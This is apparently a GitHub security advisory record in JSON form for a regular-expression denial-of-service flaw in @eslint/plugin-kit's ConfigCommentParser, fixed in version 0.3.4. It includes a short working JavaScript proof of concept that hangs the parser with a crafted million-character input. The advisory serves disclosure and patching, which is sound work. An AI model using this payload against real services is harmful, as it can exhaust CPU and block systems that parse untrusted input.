{"id":"GHSA-xffm-g5w8-qvg7","summary":"@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser","details":"### Summary\n\nThe `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.\n\n### Details\n\nThe regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158) is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.\n\n### PoC\n\n```javascript\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nconst str = `${\"A\".repeat(1000000)}?: 1 B: 2`;\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseJSONLikeConfig(str));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`\n// then the program will stuck forever with high CPU usage\n```\n\n### Impact\n\nThis is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.","modified":"2026-09-10T03:50:26.394042480Z","published":"2025-07-18T20:39:12Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-07-18T20:39:12Z","nvd_published_at":null,"cwe_ids":["CWE-1333"],"severity":"LOW"},"references":[{"type":"WEB","url":"https://github.com/eslint/rewrite/security/advisories/GHSA-xffm-g5w8-qvg7"},{"type":"WEB","url":"https://github.com/eslint/rewrite/commit/b283f64099ad6c6b5043387c091691d21b387805"},{"type":"PACKAGE","url":"https://github.com/eslint/rewrite"}],"affected":[{"package":{"name":"@eslint/plugin-kit","ecosystem":"npm","purl":"pkg:npm/%40eslint/plugin-kit"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.3.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-xffm-g5w8-qvg7/GHSA-xffm-g5w8-qvg7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}]}